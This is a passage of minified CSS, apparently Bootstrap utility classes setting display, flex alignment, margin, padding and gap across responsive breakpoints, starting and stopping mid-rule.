!important}.px-sm-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-sm-5{padding-right:3rem !important;padding-left:3rem !important}.py-sm-0{padding-top:0 !important;padding-bottom:0 !important}.py-sm-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-sm-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-sm-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-sm-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-sm-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-sm-0{padding-top:0 !important}.pt-sm-1{padding-top:.25rem !important}.pt-sm-2{padding-top:.5rem !important}.pt-sm-3{padding-top:1rem !important}.pt-sm-4{padding-top:1.5rem !important}.pt-sm-5{padding-top:3rem !important}.pe-sm-0{padding-right:0 !important}.pe-sm-1{padding-right:.25rem !important}.pe-sm-2{padding-right:.5rem !important}.pe-sm-3{padding-right:1rem !important}.pe-sm-4{padding-right:1.5rem !important}.pe-sm-5{padding-right:3rem !important}.pb-sm-0{padding-bottom:0 !important}.pb-sm-1{padding-bottom:.25rem !important}.pb-sm-2{padding-bottom:.5rem !important}.pb-sm-3{padding-bottom:1rem !important}.pb-sm-4{padding-bottom:1.5rem !important}.pb-sm-5{padding-bottom:3rem !important}.ps-sm-0{padding-left:0 !important}.ps-sm-1{padding-left:.25rem !important}.ps-sm-2{padding-left:.5rem !important}.ps-sm-3{padding-left:1rem !important}.ps-sm-4{padding-left:1.5rem !important}.ps-sm-5{padding-left:3rem !important}.gap-sm-0{gap:0 !important}.gap-sm-1{gap:.25rem !important}.gap-sm-2{gap:.5rem !important}.gap-sm-3{gap:1rem !important}.gap-sm-4{gap:1.5rem !important}.gap-sm-5{gap:3rem !important}.row-gap-sm-0{row-gap:0 !important}.row-gap-sm-1{row-gap:.25rem !important}.row-gap-sm-2{row-gap:.5rem !important}.row-gap-sm-3{row-gap:1rem !important}.row-gap-sm-4{row-gap:1.5rem !important}.row-gap-sm-5{row-gap:3rem !important}.column-gap-sm-0{column-gap:0 !important}.column-gap-sm-1{column-gap:.25rem !important}.column-gap-sm-2{column-gap:.5rem !important}.column-gap-sm-3{column-gap:1rem !important}.column-gap-sm-4{column-gap:1.5rem !important}.column-gap-sm-5{column-gap:3rem !important}.text-sm-start{text-align:left !important}.text-sm-end{text-align:right !important}.text-sm-center{text-align:center !important}}@media(min-width: 768px){.float-md-start{float:left !important}.float-md-end{float:right !important}.float-md-none{float:none !important}.object-fit-md-contain{object-fit:contain !important}.object-fit-md-cover{object-fit:cover !important}.object-fit-md-fill{object-fit:fill !important}.object-fit-md-scale{object-fit:scale-down !important}.object-fit-md-none{object-fit:none !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-block{display:block !important}.d-md-grid{display:grid !important}.d-md-inline-grid{display:inline-grid !important}.d-md-table{display:table !important}.d-md-table-row{display:table-row !important}.d-md-table-cell{display:table-cell !important}.d-md-flex{display:flex !important}.d-md-inline-flex{display:inline-flex !important}.d-md-none{display:none !important}.flex-md-fill{flex:1 1 auto !important}.flex-md-row{flex-direction:row !important}.flex-md-column{flex-direction:column !important}.flex-md-row-reverse{flex-direction:row-reverse !important}.flex-md-column-reverse{flex-direction:column-reverse !important}.flex-md-grow-0{flex-grow:0 !important}.flex-md-grow-1{flex-grow:1 !important}.flex-md-shrink-0{flex-shrink:0 !important}.flex-md-shrink-1{flex-shrink:1 !important}.flex-md-wrap{flex-wrap:wrap !important}.flex-md-nowrap{flex-wrap:nowrap !important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-md-start{justify-content:flex-start !important}.justify-content-md-end{justify-content:flex-end !important}.justify-content-md-center{justify-content:center !important}.justify-content-md-between{justify-content:space-between !important}.justify-content-md-around{justify-content:space-around !important}.justify-content-md-evenly{justify-content:space-evenly !important}.align-items-md-start{align-items:flex-start !important}.align-items-md-end{align-items:flex-end !important}.align-items-md-center{align-items:center !important}.align-items-md-baseline{align-items:baseline !important}.align-items-md-stretch{align-items:stretch !important}.align-content-md-start{align-content:flex-start !important}.align-content-md-end{align-content:flex-end !important}.align-content-md-center{align-content:center !important}.align-content-md-between{align-content:space-between !important}.align-content-md-around{align-content:space-around !important}.align-content-md-stretch{align-content:stretch !important}.align-self-md-auto{align-self:auto !important}.align-self-md-start{align-self:flex-start !important}.align-self-md-end{align-self:flex-end !important}.align-self-md-center{align-self:center !important}.align-self-md-baseline{align-self:baseline !important}.align-self-md-stretch{align-self:stretch !important}.order-md-first{order:-1 !important}.order-md-0{order:0 !important}.order-md-1{order:1 !important}.order-md-2{order:2 !important}.order-md-3{order:3 !important}.order-md-4{order:4 !important}.order-md-5{order:5 !important}.order-md-last{order:6 !important}.m-md-0{margin:0 !important}.m-md-1{margin:.25rem !important}.m-md-2{margin:.5rem !important}.m-md-3{margin:1rem !important}.m-md-4{margin:1.5rem !important}.m-md-5{margin:3rem !important}.m-md-auto{margin:auto !important}.mx-md-0{margin-right:0 !important;margin-left:0 !important}.mx-md-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-md-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-md-3{margin-right:1rem !important;margin-left:1rem !important}.mx-md-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-md-5{margin-right:3rem !important;margin-left:3rem !important}.mx-md-auto{margin-right:auto !important;margin-left:auto !important}.my-md-0{margin-top:0 !important;margin-bottom:0 !important}.my-md-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-md-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-md-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-md-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-md-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-md-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-md-0{margin-top:0 !important}.mt-md-1{margin-top:.25rem !important}.mt-md-2{margin-top:.5rem !important}.mt-md-3{margin-top:1rem !important}.mt-md-4{margin-top:1.5rem !important}.mt-md-5{margin-top:3rem !important}.mt-md-auto{margin-top:auto !important}.me-md-0{margin-right:0 !important}.me-md-1{margin-right:.25rem !important}.me-md-2{margin-right:.5rem !important}.me-md-3{margin-right:1rem !important}.me-md-4{margin-right:1.5rem !important}.me-md-5{margin-right:3rem !important}.me-md-auto{margin-right:auto !important}.mb-md-0{margin-bottom:0 !important}.mb-md-1{margin-bottom:.25rem !important}.mb-md-2{margin-bottom:.5rem !important}.mb-md-3{margin-bottom:1rem !important}.mb-md-4{margin-bottom:1.5rem !important}.mb-md-5{margin-bottom:3rem !important}.mb-md-auto{margin-bottom:auto !important}.ms-md-0{margin-left:0 !important}.ms-md-1{margin-left:.25rem !important}.ms-md-2{margin-left:.5rem !important}.ms-md-3{margin-left:1rem !important}.ms-md-4{margin-left:1.5rem !important}.ms-md-5{margin-left:3rem !important}.ms-md-auto{margin-left:auto !important}.m-md-n1{margin:-0.25rem !important}.m-md-n2{margin:-0.5rem !important}.m-md-n3{margin:-1rem !important}.m-md-n4{margin:-1.5rem !important}.m-md-n5{margin:-3rem !important}.mx-md-n1{margin-right:-0.25rem !important;margin-left:-0.25rem !important}.mx-md-n2{margin-right:-0.5rem !important;margin-left:-0.5rem !important}.mx-md-n3{margin-right:-1rem !important;margin-left:-1rem !important}.mx-md-n4{margin-right:-1.5rem !important;margin-left:-1.5rem !important}.mx-md-n5{margin-right:-3rem !important;margin-left:-3rem !important}.my-md-n1{margin-top:-0.25rem !important;margin-bottom:-0.25rem !important}.my-md-n2{margin-top:-0.5rem !important;margin-bottom:-0.5rem !important}.my-md-n3{margin-top:-1rem !important;margin-bottom:-1rem !important}.my-md-n4{margin-top:-1.5rem !important;margin-bottom:-1.5rem !important}.my-md-n5{margin-top:-3rem !important;margin-bottom:-3rem !important}.mt-md-n1{margin-top:-0.25rem !important}.mt-md-n2{margin-top:-0.5rem !important}.mt-md-n3{margin-top:-1rem !important}.mt-md-n4{margin-top:-1.5rem !important}.mt-md-n5{margin-top:-3rem !important}.me-md-n1{margin-right:-0.25rem !important}.me-md-n2{margin-right:-0.5rem !important}.me-md-n3{margin-right:-1rem !important}.me-md-n4{margin-right:-1.5rem !important}.me-md-n5{margin-right:-3rem !important}.mb-md-n1{margin-bottom:-0.25rem !important}.mb-md-n2{margin-bottom:-0.5rem !important}.mb-md-n3{margin-bottom:-1rem !important}.mb-md-n4{margin-bottom:-1.5rem !important}.mb-md-n5{margin-bottom:-3rem !important}.ms-md-n1{margin-left:-0.25rem !important}.ms-md-n2{margin-left:-0.5rem !important}.ms-md-n3{margin-left:-1rem !important}.ms-md-n4{margin-left:-1.5rem !important}.ms-md-n5{margin-left:-3rem !important}.p-md-0{padding:0 !important}.p-md-1{padding:.25rem !important}.p-md-2{padding:.5rem !important}.p-md-3{padding:1rem !important}.p-md-4{padding:1.5rem !important}.p-md-5{padding:3rem !important}.px-md-0{padding-right:0 !important;padding-left:0 !important}.px-md-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-md-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-md-3{padding-right:1rem !important;padding-left:1rem !important}.px-md-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-md-5{padding-right:3rem !important;padding-left:3rem !important}.py-md-0{padding-top:0 !important;padding-bottom:0 !important}.py-md-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-md-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-md-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-md-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-md-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-md-0{padding-top:0 !important}.pt-md-1{padding-top:.25rem !important}.pt-md-2{padding-top:.5rem !important}.pt-md-3{padding-top:1rem !important}.pt-md-4{padding-top:1.5rem !important}.pt-md-5{padding-top:3rem !important}.pe-md-0{padding-right:0 !important}.pe-md-1{padding-right:.25rem !important}.pe-md-2{padding-right:.5rem !important}.pe-md-3{padding-right:1rem !important}.pe-md-4{padding-right:1.5rem !important}.pe-md-5{padding-right:3rem !important}.pb-md-0{padding-bottom:0 !important}.pb-md-1{padding-bottom:.25rem !important}.pb-md-2{padding-bottom:.5rem !important}.pb-md-3{padding-bottom:1rem !important}.pb-md-4{padding-bottom:1.5rem !important}.pb-md-5{padding-bottom:3rem !important}.ps-md-0{padding-left:0 !important}.ps-md-1{padding-left:.25rem !important}.ps-md-2{padding-left:.5rem !important}.ps-md-3{padding-left:1rem !important}.ps-md-4{padding-left:1.5rem !important}.ps-md-5{padding-left:3rem !important}.gap-md-0{gap:0 !important}.gap-md-1{gap:.25rem !important}.gap-md-2{gap:.5rem !important}.gap-md-3{gap:1rem !important}.gap-md-4{gap:1.5rem !important}.gap-md-5{gap:3rem !important}.row-gap-md-0{row-gap:0 !important}.row-gap-md-1{row-gap:.25rem !important}.row-gap-md-2{row-gap:.5rem !important}.row-gap-md-3{row-gap:1rem !important}.row-gap-md-4{row-gap:1.5rem !important}.row-gap-md-5{row-gap:3rem !important}.column-gap-md-0{column-gap:0 !important}.column-gap-md-1{column-gap:.25rem !important}.column-gap-md-2{column-gap:.5rem !important}.column-gap-md-3{column-gap:1rem !important}.column-gap-md-4{column-gap:1.5rem !important}.column-gap-md-5{column-gap:3rem !important}.text-md-start{text-align:left !important}.text-md-end{text-align:right !important}.text-md-center{text-align:center !important}}@media(min-width: 992px){.float-lg-start{float:left !important}.float-lg-end{float:right !important}.float-lg-none{float:none !important}.object-fit-lg-contain{object-fit:contain !important}.object-fit-lg-cover{object-fit:cover !important}.object-fit-lg-fill{object-fit:fill !important}.object-fit-lg-scale{object-fit:scale-down !important}.object-fit-lg-none{object-fit:none !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-block{display:block !important}.d-lg-grid{display:grid !important}.d-lg-inline-grid{display:inline-grid !important}.d-lg-table{display:table !important}.d-lg-table-row{display:table-row !important}.d-lg-table-cell{display:table-cell !important}.d-lg-flex{display:flex !important}.d-lg-inline-flex{display:inline-flex !important}.d-lg-none{display:none !important}.flex-lg-fill{flex:1 1 auto !important}.flex-lg-row{flex-direction:row !important}.flex-lg-column{flex-direction:column !important}.flex-lg-row-reverse{flex-direction:row-reverse !important}.flex-lg-column-reverse{flex-direction:column-reverse !important}.flex-lg-grow-0{flex-grow:0 !important}.flex-lg-grow-1{flex-grow:1 !important}.flex-lg-shrink-0{flex-shrink:0 !important}.flex-lg-shrink-1{flex-shrink:1 !important}.flex-lg-wrap{flex-wrap:wrap !important}.flex-lg-nowrap{flex-wrap:nowrap !important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-lg-start{justify-content:flex-start !important}.justify-content-lg-end{justify-content:flex-end !important}.justify-content-lg-center{justify-content:center !important}.justify-content-lg-between{justify-content:space-between !important}.justify-content-lg-around{justify-content:space-around !important}.justify-content-lg-evenly{justify-content:space-evenly !important}.align-items-lg-start{align-items:flex-start !important}.align-items-lg-end{align-items:flex-end !important}.align-items-lg-center{align-items:center !important}.align-items-lg-baseline{align-items:baseline !important}.align-items-lg-stretch{align-items:stretch !important}.align-content-lg-start{align-content:flex-start !important}.align-content-lg-end{align-content:flex-end !important}.align-content-lg-center{align-content:center !important}.align-content-lg-between{align-content:space-between !important}.align-content-lg-around{align-content:space-around !important}.align-content-lg-stretch{align-content:stretch !important}.align-self-lg-auto{align-self:auto !important}.align-self-lg-start{align-self:flex-start !important}.align-self-lg-end{align-self:flex-end !important}.align-self-lg-center{align-self:center !important}.align-self-lg-baseline{align-self:baseline !important}.align-self-lg-stretch{align-self:stretch !important}.order-lg-first{order:-1 !important}.order-lg-0{order:0 !important}.order-lg-1{order:1 !important}.order-lg-2{order:2 !important}.order-lg-3{order:3 !important}.order-lg-4{order:4 !important}.order-lg-5{order:5 !important}.order-lg-last{order:6 !important}.m-lg-0{margin:0 !important}.m-lg-1{margin:.25rem !important}.m-lg-2{margin:.5rem !important}.m-lg-3{margin:1rem !important}.m-lg-4{margin:1.5rem !important}.m-lg-5{margin:3rem !important}.m-lg-auto{margin:auto !important}.mx-lg-0{margin-right:0 !important;margin-left:0 !important}.mx-lg-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-lg-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-lg-3{margin-right:1rem !important;margin-left:1rem !important}.mx-lg-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-lg-5{margin-right:3rem !important;margin-left:3rem !important}.mx-lg-auto{margin-right:auto !important;margin-left:auto !important}.my-lg-0{margin-top:0 !important;margin-bottom:0 !important}.my-lg-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-lg-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-lg-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-lg-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-lg-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-lg-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-lg-0{margin-top:0 !important}.mt-lg-1{margin-top:.25rem !important}.mt-lg-2{margin-top:.5rem !important}.mt-lg-3{margin-top:1rem !important}.mt-lg-4{margin-top:1.5rem !important}.mt-lg-5{margin-top:3rem !important}.mt-lg-auto{margin-top:auto !important}.me-lg-0{margin-right:0 !important}.me-lg-1{margin-right:.25rem !important}.me-lg-2{margin-right:.5rem !important}.me-lg-3{margin-right:1rem !important}.me-lg-4{margin-right:1.5rem !important}.me-lg-5{margin-right:3rem !important}.me-lg-auto{margin-right:auto !important}.mb-lg-0{margin-bottom:0 !important}.mb-lg-1{margin-bottom:.25rem !important}.mb-lg-2{margin-bottom:.5rem !important}.mb-lg-3{margin-bottom:1rem !important}.mb-lg-4{margin-bottom:1.5rem !important}.mb-lg-5{margin-bottom:3rem !important}.mb-lg-auto{margin-bottom:auto !important}.ms-lg-0{margin-left:0 !important}.ms-lg-1{margin-left:.25rem !important}.ms-lg-2{margin-left:.5rem !important}.ms-lg-3{margin-left:1rem !important}.ms-lg-4{margin-left:1.5rem !important}.ms-lg-5{margin-left:3rem !important}.ms-lg-auto{margin-left:auto !important}.m-lg-n1{margin:-0.25rem !important}.m-lg-n2{margin:-0.5rem !important}.m-lg-n3{margin:-1rem !important}.m-lg-n4{margin:-1.5rem !important}.m-lg-n5{margin:-3rem !important}.mx-lg-n1{margin-right:-0.25rem !important;margin-left:-0.25rem !important}.mx-lg-n2{margin-right:-0.5rem !important;margin-left:-0.5rem !important}.mx-lg-n3{margin-right:-1rem !important;margin-left:-1rem !important}.mx-lg-n4{margin-right:-1.5rem !important;margin-left:-1.5rem !important}.mx-lg-n5{margin-right:-3rem !important;margin-left:-3rem !important}.my-lg-n1{margin-top:-0.25rem !important;margin-bottom:-0.25rem !important}.my-lg-n2{margin-top:-0.5rem !important;margin-bottom:-0.5rem !important}.my-lg-n3{margin-top:-1rem !important;margin-bottom:-1rem !important}.my-lg-n4{margin-top:-1.5rem !important;margin-bottom:-1.5rem !important}.my-lg-n5{margin-top:-3rem !important;margin-bottom:-3rem !important}.mt-lg-n1{margin-top:-0.25rem !important}.mt-lg-n2{margin-top:-0.5rem !important}.mt-lg-n3{margin-top:-1rem !important}.mt-lg-n4{margin-top:-1.5rem !important}.mt-lg-n5{margin-top:-3rem !important}.me-lg-n1{margin-right:-0.25rem !important}.me-lg-n2{margin-right:-0.5rem !important}.me-lg-n3{margin-right:-1rem !important}.me-lg-n4{margin-right:-1.5rem !important}.me-lg-n5{margin-right:-3rem !important}.mb-lg-n1{margin-bottom:-0.25rem !important}.mb-lg-n2{margin-bottom:-0.5rem !important}.mb-lg-n3{margin-bottom:-1rem !important}.mb-lg-n4{margin-bottom:-1.5rem !important}.mb-lg-n5{margin-bottom:-3rem !important}.ms-lg-n1{margin-left:-0.25rem !important}.ms-lg-n2{margin-left:-0.5rem !important}.ms-lg-n3{margin-left:-1rem !important}.ms-lg-n4{margin-left:-1.5rem !important}.ms-lg-n5{margin-left:-3rem !important}.p-lg-0{padding:0 !important}.p-lg-1{padding:.25rem !important}.p-lg-2{padding:.5rem !important}.p-lg-3{padding:1rem !important}.p-lg-4{padding:1.5rem !important}.p-lg-5{padding:3rem !important}.px-lg-0{padding-right:0 !important;padding-left:0 !important}.px-lg-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-lg-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-lg-3{padding-right:1rem !important;padding-left:1rem !important}.px-lg-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-lg-5{padding-right:3rem !important;padding-left:3rem !important}.py-lg-0{padding-top:0 !important;padding-bottom:0 !important}.py-lg-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-lg-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-lg-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-lg-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-lg-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-lg-0{padding-top:0 !important}.pt-lg-1{padding-top:.25rem !important}.pt-lg-2{padding-top:.5rem !important}.pt-lg-3{padding-top:1rem !important}.pt-lg-4{padding-top:1.5rem !important}.pt-lg-5{padding-top:3rem !important}.pe-lg-0{padding-right:0 !important}.pe-lg-1{padding-right:.25rem !important}.pe-lg-2{padding-right:.5rem !important}.pe-lg-3{padding-right:1rem !important}.pe-lg-4{padding-right:1.5rem !important}.pe-lg-5{padding-right:3rem !important}.pb-lg-0{padding-bottom:0 !important}.pb-lg-1{padding-bottom:.25rem !important}.pb-lg-2{padding-bottom:.5rem !important}.pb-lg-3{padding-bottom:1rem !important}.pb-lg-4{padding-bottom:1.5rem !important}.pb-lg-5{padding-bottom:3rem !important}.ps-lg-0{padding-left:0 !important}.ps-lg-1{padding-left:.25rem !important}.ps-lg-2{padding-left:.5rem !important}.ps-lg-3{padding-left:1rem !important}.ps-lg-4{padding-left:1.5rem !important}.ps-lg-5{padding-left:3rem !important}.gap-lg-0{gap:0 !important}.gap-lg-1{gap:.25rem !important}.gap-lg-2{gap:.5rem !important}.gap-lg-3{gap:1rem !important}.gap-lg-4{gap:1.5rem !important}.gap-lg-5{gap:3rem !important}.row-gap-lg-0{row-gap:0 !important}.row-gap-lg-1{row-gap:.25rem !important}.row-gap-lg-2{row-gap:.5rem !important}.row-gap-lg-3{row-gap:1rem !important}.row-gap-lg-4{row-gap:1.5rem !important}.row-gap-lg-5{row-gap:3rem !important}.column-gap-lg-0{column-gap:0 !important}.column-gap-lg-1{column-gap:.25rem !important}.column-gap-lg-2{column-gap:.5rem !important}.column-gap-lg-3{column-gap:1rem !important}.column-gap-lg-4{column-gap:1.5rem !important}.column-gap-lg-5{column-gap:3rem !important}.text-lg-start{text-align:left !important}.text-lg-end{text-align:right !important}.text-lg-center{text-align:center !important}}@media(min-width: 1200px){.float-xl-start{float:left !important}.float-xl-end{float:right !important}.float-xl-none{float:none !important}.object-fit-xl-contain{object-fit:contain !important}.object-fit-xl-cover{object-fit:cover !important}.object-fit-xl-fill{object-fit:fill !important}.object-fit-xl-scale{object-fit:scale-down !important}.object-fit-xl-none{object-fit:none !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-block{display:block !important}.d-xl-grid{display:grid !important}.d-xl-inline-grid{display:inline-grid !important}.d-xl-table{display:table !important}.d-xl-table-row{display:table-row !important}.d-xl-table-cell{display:table-cell !important}.d-xl-flex{display:flex !important}.d-xl-inline-flex{display:inline-flex !important}.d-xl-none{display:none !important}.flex-xl-fill{flex:1 1 auto !important}.flex-xl-row{flex-direction:row !important}.flex-xl-column{flex-direction:column !important}.flex-xl-row-reverse{flex-direction:row-reverse !important}.flex-xl-column-reverse{flex-direction:column-reverse !important}.flex-xl-grow-0{flex-grow:0 !important}.flex-xl-grow-1{flex-grow:1 !important}.flex-xl-shrink-0{flex-shrink:0 !important}.flex-xl-shrink-1{flex-shrink:1 !important}.flex-xl-wrap{flex-wrap:wrap !important}.flex-xl-nowrap{flex-wrap:nowrap !important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-xl-start{justify-content:flex-start !important}.justify-content-xl-end{justify-content:flex-end !important}.justify-content-xl-center{justify-content:center !important}.justify-content-xl-between{justify-content:space-between !important}.justify-content-xl-around{justify-content:space-around !important}.justify-content-xl-evenly{justify-content:space-evenly !important}.align-items-xl-start{align-items:flex-start !important}.align-items-xl-end{align-items:flex-end !important}.align-items-xl-center{align-items:center !important}.align-items-xl-baseline{align-items:baseline !important}.align-items-xl-stretch{align-items:stretch !important}.align-content-xl-start{align-content:flex-start !important}.align-content-xl-end{align-content:flex-end !important}.align-content-xl-center{align-content:center !important}.align-content-xl-between{align-content:space-between !important}.align-content-xl-around{align-content:space-around !important}.align-content-xl-stretch{align-content:stretch !important}.align-self-xl-auto{align-self:auto !important}.align-self-xl-start{align-self:flex-start !important}.align-self-xl-end{align-self:flex-end !important}.align-self-xl-center{align-self:center !important}.align-self-xl-baseline{align-self:baseline !important}.align-self-xl-stretch{align-self:stretch !important}.order-xl-first{order:-1 !important}.order-xl-0{order:0 !important}.order-xl-1{order:1 !important}.order-xl-2{order:2 !important}.order-xl-3{order:3 !important}.order-xl-4{order:4 !important}.order-xl-5{order:5 !important}.order-xl-last{order:6 !important}.m-xl-0{margin:0 !important}.m-xl-1{margin:.25rem !important}.m-xl-2{margin:.5rem !important}.m-xl-3{margin:1rem !important}.m-xl-4{margin:1.5rem !important}.m-xl-5{margin:3rem !important}.m-xl-auto{margin:auto !important}.mx-xl-0{margin-right:0 !important;margin-left:0 !important}.mx-xl-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-xl-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-xl-3{margin-right:1rem !important;margin-left:1rem !important}.mx-xl-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-xl-5{margin-right:3rem !important;margin-left:3rem !important}.mx-xl-auto{margin-right:auto !important;margin-left:auto !important}.my-xl-0{margin-top:0 !important;margin-bottom:0 !important}.my-xl-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-xl-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-xl-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-xl-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-xl-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-xl-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-xl-0{margin-top:0 !important}.mt-xl-1{margin-top:.25rem !important}.mt-xl-2{margin-top:.5rem !important}.mt-xl-3{margin-top:1rem !important}.mt-xl-4{margin-top:1.5rem !important}.mt-xl-5{margin-top:3rem !important}.mt-xl-auto{margin-top:auto !important}.me-xl-0{margin-right:0 !important}.me-xl-1{margin-right:.25rem !important}.me-xl-2{margin-right:.5rem !important}.me-xl-3{margin-right:1rem !important}.me-xl-4{margin-right:1.5rem !important}.me-xl-5{margin-right:3rem !important}.me-xl-auto{margin-right:auto !important}.mb-xl-0{margin-bottom:0 !important}.mb-xl-1{margin-bottom:.25rem !important}.mb-xl-2{margin-bottom:.5rem !important}.mb-xl-3{margin-bottom:1rem !important}.mb-xl-4{margin-bottom:1.5rem !important}.mb-xl-5{margin-bottom:3rem !important}.mb-xl-auto{margin-bottom:auto !important}.ms-xl-0{margin-left:0 !important}.ms-xl-1{margin-left:.25rem !important}.ms-xl-2{margin-left:.5rem !important}.ms-xl-3{margin-left:1rem !important}.ms-xl-4{margin-left:1.5rem !important}.ms-xl-5{margin-left:3rem !important}.ms-xl-auto{margin-left:auto !important}.m-xl-n1{margin:-0.25rem !important}.m-xl-n2{margin:-0.5rem !important}.m-xl-n3{margin:-1rem !important}.m-xl-n4{margin:-1.5rem !important}.m-xl-n5{margin:-3rem !important}.mx-xl-n1{margin-right:-0.25rem !important;margin-left:-0.25rem !important}.mx-xl-n2{margin-right:-0.5rem !important;margin-left:-0.5rem !important}.mx-xl-n3{margin-right:-1rem !important;margin-left:-1rem !important}.mx-xl-n4{margin-right:-1.5rem !important;margin-left:-1.5rem !important}.mx-xl-n5{margin-right:-3rem !important;margin-left:-3rem !important}.my-xl-n1{margin-top:-0.25rem !important;margin-bottom:-0.25rem !important}.my-xl-n2{margin-top:-0.5rem !important;margin-bottom:-0.5rem !important}.my-xl-n3{margin-top:-1rem !important;margin-bottom:-1rem !important}.my-xl-n4{margin-top:-1.5rem !important;margin-bottom:-1.5rem !important}.my-xl-n5{margin-top:-3rem !important;margin-bottom:-3rem !important}.mt-xl-n1{margin-top:-0.25rem !important}.mt-xl-n2{margin-top:-0.5rem !important}.mt-xl-n3{margin-top:-1rem !important}.mt-xl-n4{margin-top:-1.5rem !important}.mt-xl-n5{margin-top:-3rem !important}.me-xl-n1{margin-right:-0.25rem !important}.me-xl-n2{margin-right:-0.5rem !important}.me-xl-n3{margin-right:-1rem !important}.me-xl-n4{margin-right:-1.5rem !important}.me-xl-n5{margin-right:-3rem !important}.mb-xl-n1{margin-bottom:-0.25rem !important}.mb-xl-n2{margin-bottom:-0.5rem !important}.mb-xl-n3{margin-bottom:-1rem !important}.mb-xl-n4{margin-bottom:-1.5rem !important}.mb-xl-n5{margin-bottom:-3rem !important}.ms-xl-n1{margin-left:-0.25rem !important}.ms-xl-n2{margin-left:-0.5rem !important}.ms-xl-n3{margin-left:-1rem !important}.ms-xl-n4{margin-left:-1.5rem !important}.ms-xl-n5{margin-left:-3rem !important}.p-xl-0{padding:0 !important}.p-xl-1{padding:.25rem !important}.p-xl-2{padding:.5rem !important}.p-xl-3{padding:1rem !important}.p-xl-4{padding:1.5rem !important}.p-xl-5{padding:3rem !important}.px-xl-0{padding-right:0 !important;padding-left:0 !important}.px-xl-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-xl-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-xl-3{padding-right:1rem !important;padding-left:1rem !important}.px-xl-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-xl-5{padding-right:3rem !important;padding-left:3rem !important}.py-xl-0{padding-top:0 !important;padding-bottom:0 !important}.py-xl-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-xl-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-xl-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-xl-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-xl-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-xl-0{padding-top:0 !important}.pt-xl-1{padding-top:.25rem !important}.pt-xl-2{padding-top:.5rem !important}.pt-xl-3{padding-top:1rem !important}.pt-xl-4{padding-top:1.5rem !important}.pt-xl-5{padding-top:3rem !important}.pe-xl-0{padding-right:0 !important}.pe-xl-1{padding-right:.25rem !important}.pe-xl-2{padding-right:.5rem !important}.pe-xl-3{padding-right:1rem !important}.pe-xl-4{padding-right:1.5rem !important}.pe-xl-5{padding-right:3rem !important}.pb-xl-0{padding-bottom:0 !important}.pb-xl-1{padding-bottom:.25rem !important}.pb-xl-2{padding-bottom:.5rem !important}.pb-xl-3{padding-bottom:1rem !important}.pb-xl-4{padding-bottom:1.5rem !important}.pb-xl-5{padding-bottom:3rem !important}.ps-xl-0{padding-left:0 !important}.ps-xl-1{padding-left:.25rem !important}.ps-xl-2{padding-left:.5rem !important}.ps-xl-3{padding-left:1rem !important}.ps-xl-4{padding-left:1.5rem !important}.ps-xl-5{padding-left:3rem !important}.gap-xl-0{gap:0 !important}.gap-xl-1{gap:.25rem !important}.gap-xl-2{gap:.5rem !important}.gap-xl-3{gap:1rem !important}.gap-xl-4{gap:1.5rem !important}.gap-xl-5{gap:3rem !important}.row-gap-xl-0{row-gap:0 